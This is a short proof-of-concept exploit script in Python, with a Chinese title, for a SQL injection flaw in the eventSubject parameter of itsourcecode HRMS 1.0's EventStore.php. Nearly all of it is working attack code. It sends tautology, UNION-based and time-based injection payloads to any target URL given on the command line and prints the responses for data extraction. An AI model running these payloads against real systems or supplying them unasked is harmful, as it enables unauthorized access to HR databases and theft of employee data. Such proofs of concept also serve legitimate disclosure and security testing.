CVE-2025-13420 itsourcecode HRMS EventStore.php SQL注入漏洞

import requests import sys # CVE-2025-13420 SQL Injection PoC # Target: itsourcecode Human Resource Management System 1.0 # File: /src/store/EventStore.php # Parameter: eventSubject def exploit_sqli(target_url, payload): """ SQL Injection exploit for CVE-2025-13420 payload examples: - Basic: ' OR '1'='1 - Union-based: ' UNION SELECT NULL,version(),user()-- - Boolean-based: ' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)='1 """ endpoint = f"{target_url}/src/store/EventStore.php" # Malicious payload in eventSubject parameter data = { 'eventSubject': payload } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("[*] CVE-2025-13420 SQL Injection Test") print("[*] Target:", target) # Test with basic payload payloads = [ "' OR '1'='1", "' UNION SELECT NULL,version(),user()--", "' AND SLEEP(5)--" ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = exploit_sqli(target, payload) if result: print(f"[+] Payload executed, check response for data extraction") if __name__ == "__main__": main()